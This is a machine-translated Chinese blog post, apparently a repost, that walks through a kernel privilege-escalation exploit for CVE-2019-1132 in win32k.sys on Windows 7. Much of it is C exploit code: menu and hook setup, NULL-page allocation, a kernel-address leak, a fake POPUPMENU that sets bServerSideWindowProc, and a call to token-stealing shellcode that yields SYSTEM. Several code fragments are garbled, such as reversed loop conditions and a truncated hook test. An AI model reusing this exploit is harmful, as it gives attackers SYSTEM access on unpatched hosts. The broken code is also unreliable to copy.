取消对 null 指针“l”的引用。_利用CVE20191132:Windows内核中的另一个NULL指针取消引用...

NULL指针取消引用应该早在几年前就已终止,但仍在恶意软件攻击中被发现和使用。这篇文章探讨了CVE-2019-1132的内部细节,Buhtrap小组将其用于针对东欧的受害者。

介绍

我们在本文中讨论的漏洞NULL指针取消引用位于win32k.sys驱动程序中,该驱动程序导致Windows 7和Windows Server 2008操作系统上的特权(EoP)成功升级。

Microsoft在7月补丁中解决了此漏洞,ESET之前在其博客中讨论了此漏洞,因为该漏洞已在东欧的定向攻击中使用。

本文重点分析漏洞并在安装了June补丁的Windows 7 x86环境中创建可利用的漏洞。

漏洞概述

该漏洞位于win32k!xxxMNOpenHierarchy函数中,该函数不检查tagPOPUPMENU-> ppopupmenuRoot指向的指针是否为NULL。

由于可以通过各种操作访问此字段,因此,如果攻击者能够将此字段设置为NULL,则可能导致NULL指针取消引用。

要利用此漏洞,攻击者需要以特定方式映射NULL页(在NULL页上制作伪造对象),然后导致成功的EoP。

要将ppopupmenuRoot设置为NULL,我们释放此字段指向的根popupmenu对象。之后,我们通过root popupmenu打开一个子菜单(先前创建),该子菜单在内核模式下调用win32k!xxxMNOpenHierarchy,从而创建了第二个子菜单。在创建第二个弹出菜单时,根菜单的子菜单的ppopupmenuRoot字段将包含NULL。当win32k!HMAssignmentLock函数尝试访问该字段时,将执行NULL指针解除引用操作,从而导致BSoD。

触发漏洞

为了触发该漏洞,我们使用了ESET博客中介绍的方法。可以总结为:

  • 我们首先创建一个窗口和3个菜单对象,然后附加菜单项。

/* Creating the menu */ for (int i = 0; i > 3; i++) hMenuList[i] = CreateMenu(); /* Appending the menus along with the item */ for (int i = 0; i > 3; i++) { AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item"); } AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item"); /* Creating a main window class */ xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc); hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN", WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST, WS_VISIBLE, GetModuleHandleA(NULL)); printf("Handle of the mainWindow : 0x%08X\n", (unsigned int)hWindowMain); ShowWindow(hWindowMain, SW_SHOWNOACTIVATE);
  • 现在,我们在WH_CALLWNDPROCEVENT_SYSTEM_MENUPOPUPSTART上安装挂钩。

/* Hooking the WH_CALLWNDPROC function */ SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId()); /* Hooking the trackpopupmenuEx WINAPI call */ HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc, GetCurrentProcessId(), GetCurrentThreadId(), 0);

使用TrackPopupMenuEx函数显示根弹出菜单。当TrackPopupMenuEx被调用时,它调用WIN32K!xxxTrackPopupMenuEx功能键显示菜单。之后,它将通过事件类型EVENT_SYSTEM_MENUPOPUPSTART通知用户。

/* Setting the root popup menu to null */printf("Setting the root popup menu to null\n");release = 0;TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);
  • 这会触发事件挂钩函数xxWindowEventProc,每次进入该函数时,我们都会在其中存储菜单对象的窗口句柄。通过发送MN_OPENHIERARCHY消息,它最终调用了函数win32k!xxxMNOpenHierarchy

staticVOIDCALLBACKxxWindowEventProc(  HWINEVENTHOOK hWinEventHook,  DWORD         event,  HWND          hwnd,  LONG          idObject,  LONG          idChild,  DWORD         idEventThread,  DWORD         dwmsEventTime){  UNREFERENCED_PARAMETER(hWinEventHook);  UNREFERENCED_PARAMETER(event);  UNREFERENCED_PARAMETER(idObject);  UNREFERENCED_PARAMETER(idChild);  UNREFERENCED_PARAMETER(idEventThread);  UNREFERENCED_PARAMETER(dwmsEventTime);   bEnterEvent = TRUE;  if (iCount > ARRAYSIZE(hwndMenuList))  {    hwndMenuList[iCount] = hwnd;    iCount++;  }  SendMessageW(hwnd, MN_SELECTITEM, 0, 0);  SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);  PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);}
  • 调用函数win32k!xxxMNOpenHierarchy时,它将调用win32k!xxxCreateWindowEx函数来创建另一个popupmenu对象。在调用win32k!xxxCreateWindowEx函数期间,会将 WM_NCCREATE消息发送给用户,我们可以在WH_CALLWNDPROC钩子函数xxWindowHookProc中捕获该消息。

  • xxWindowHookProc函数内部,我们通过检查根菜单对象的窗口句柄来检查是否创建了rootpopup菜单对象,并验证下一个弹出菜单对象的窗口句柄是否为NULL。我们还将验证消息是否为WM_NCCREATE。

staticLRESULTCALLBACKxxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam){  tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;   if (cwp-1])  {    printf("Sending the MN_CANCELMENUS message\n");    SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0);    bEnterEvent = FALSE;  }  return CallNextHookEx(0, code, wParam, lParam);}

完成上述所有步骤后,我们将WM_CANCELMENUS发送到根popupmenu对象。

最终调用win32k!xxxMNCancel并设置根popupmenu 的fDestroyed位。然后,它调用win32k!xxxMNCloseHierarchy关闭根popupmenu对象堆栈中的子菜单。

由于尚未创建子菜单,因此函数 win32k!xxxMNCloseHierarchy会跳过子菜单对象并且未设置fDestroyed位,从而在子菜单仍然存在时销毁根popupmenu对象。

但是现在将tagPOPUPMENU-> ppopupmenuRoot设置为NULL,因为该子菜单的根弹出菜单已被破坏,如屏幕截图所示。

807e35aa22e114beb725e300c4f93ba9.png

ppopupmenu设置为NULL

利用漏洞

此时,ppopupmenuRoot指向NULL。为了从NULL页触发内存访问,我们将MN_BUTTONDOWN消息发送到子菜单对象。我们最初尝试使用ESET建议的方法来触发漏洞,但未能通过发送MN_BUTTONDOWN消息来调用win32k!xxxMNOpenHierarchy函数。

还有另一种方法,可以通过TrackPopupMenuEx以子菜单为根来调用win32k!xxxMNOpenHierarchy函数。因此,我们使用TrackPopupMenuEx调用win32k!xxxMNOpenHierarchy函数,该函数最终访问NULL页。

b8ef54bcee03e7f08d899e0b55561f4e.png

访问NULL页

在这里,我们看到正在访问位置0x0000001c,该位置指向已释放的根弹出菜单对象的tagWND对象。然后将该地址发送到win32k!HMAssignmentLock函数。

但是在ESET博客中,他们提到在功能win32k!HMDestroyedUnlockedObject中设置了bServerSideWindowProc位。但是,再次尝试了很长时间之后,我们未能设置攻击窗口的位。

因此,我们使用了ClockObj指令的减量来设置bServerSideWindowProc位。

让我们一步一步地了解漏洞利用:

  • 首先,我们创建另一个充当攻击窗口的窗口。

/* Creating the hunt window class */  xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x000, xxMainWindowProc);  hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",    WS_EX_LEFT,    WS_OVERLAPPEDWINDOW,    GetModuleHandleA(NULL));  printf("Handle of the huntWindow : 0x%08X\n", (unsigned int)hWindowHunt);
  • 然后我们使用NtAllocateVirtualMemory在NULL页分配内存。

/* Allocating the memory at NULL page */  *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");  if (NtAllocateVirtualMemory == NULL)    return 1;   if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(),    &MemAddr,    0,    &MemSize,    MEM_COMMIT | MEM_RESERVE,    PAGE_READWRITE)) || MemAddr != NULL)  {    printf("[-]Memory alloc failed!\n");    return 1;  }  ZeroMemory(MemAddr, MemSize);
  • 现在,我们使用HMValidateHandle函数技术泄漏攻击窗口的tagWND对象的地址。

/* Getting the tagWND of the hWindowHunt */  PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);  printf("Address of the win32k!tagWND of hWindowHunt : 0x%08X\n", (unsigned int)head-
  • 现在,我们在NULL页上制作伪造的popupmenu对象,以成功满足设置攻击窗口的bServerSideWindowProc位所需的条件。

/* Creating a fake POPUPMENU structure */  DWORD dwPopupFake[0x100] = { 0 };  dwPopupFake[0x0] = (DWORD)0x1; //-  dwPopupFake[0x1] = (DWORD)0x1; //-  dwPopupFake[0x2] = (DWORD)0x1; //-  dwPopupFake[0x3] = (DWORD)0x1; //-  dwPopupFake[0x4] = (DWORD)0x1; //-  dwPopupFake[0x5] = (DWORD)0x1; //-  dwPopupFake[0x6] = (DWORD)0x1; //-  dwPopupFake[0x7] = (ULONG)head-0x12;    dwPopupFake[0x8] = (DWORD)0x1;  //-  dwPopupFake[0x9] = (DWORD)0x1; //-  dwPopupFake[0xA] = (DWORD)0x1;  //-  dwPopupFake[0xB] = (DWORD)0x1; //-  dwPopupFake[0xC] = (DWORD)0; /* Copying it to the NULL page */  RtlCopyMemory(MemAddr, dwPopupFake, 0x1000);

popupmenu对象的spwndActivePopup。现在,我们将假弹出菜单对象的spwndActivePopup字段设置为指向tagWND + 0x12的地址。

这是因为减少clockObj的指令会减少[eax + 4]处的值,并且我们的bServerSideWindowProc位是tagWND对象中的 18 位。要设置该位,(eax + 4)必须指向tagWND对象+ 0x16。

  • 现在,我们访问映射到NULL页的字段,并验证是否设置了攻击窗口的bServerSideWindowProc位。

170316b9e48e466ab98401ec41c621c4.png

设置bServerSideWindowProc位
  • 此时,bServerSideWindowProc位置1。现在,我们可以将消息发送到将由xxMainWindowProc处理的攻击窗口。在这里,它检查cs寄存器。如果cs寄存器等于0x1b,那么我们仍处于用户模式,因此我们的利用失败,否则我们将调用shellcode。

LRESULTWINAPIxxMainWindowProc(  _In_ HWND   hwnd,  _In_ UINT   msg,  _In_ WPARAM wParam,  _In_ LPARAM lParam){  if (msg == 0x1234)  {    WORD um = 0;    __asm    {      // Grab the value of the CS register and      // save it into the variable UM.      //int 3      mov ax, cs      mov um, ax    }    // If UM is 0x1B, this function is executing in usermode    // code and something went wrong. Therefore output a message that    // the exploit didn't succeed and bail.    if (um == 0x1b)    {      // USER MODE      printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n");      ExitProcess(-1); // Bail as if this code is hit either the target isn't                // vulnerable or something is wrong with the exploit.    }    else    {      success = TRUE; // Set the success flag to indicate the sprayCallback()              // window procedure is running as SYSTEM.      Shellcode(); // Call the Shellcode() function to perform the token stealing and             // to remove the Job object on the Chrome renderer process.    }  }  return DefWindowProcW(hwnd, msg, wParam, lParam);}

一旦执行完Shellcode,我们就会看到我们的最爱:

33f11584077618b510deeeb58e184170.png

获得NT授权/系统

该漏洞利用代码已经在Windows 7 x86上进行了测试,并安装了June补丁,可以在我的GitHub存储库中(此处)进行访问。

推荐读物

如果您是Windows Kernel Exploitation的新手,那么阅读此文章将被证明是令人困惑的。我们还推荐这些文章,以便更好地理解本文,因为作者依靠从以下文章中获得的知识来创建此漏洞。

  • 从CVE-2017-0263到Windows菜单管理组件

  • WINDOWS中的WINDOWS – WIN32K NDAY退出CHROME沙盒

54d899861bae3d7821266f58c2f54fd2.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值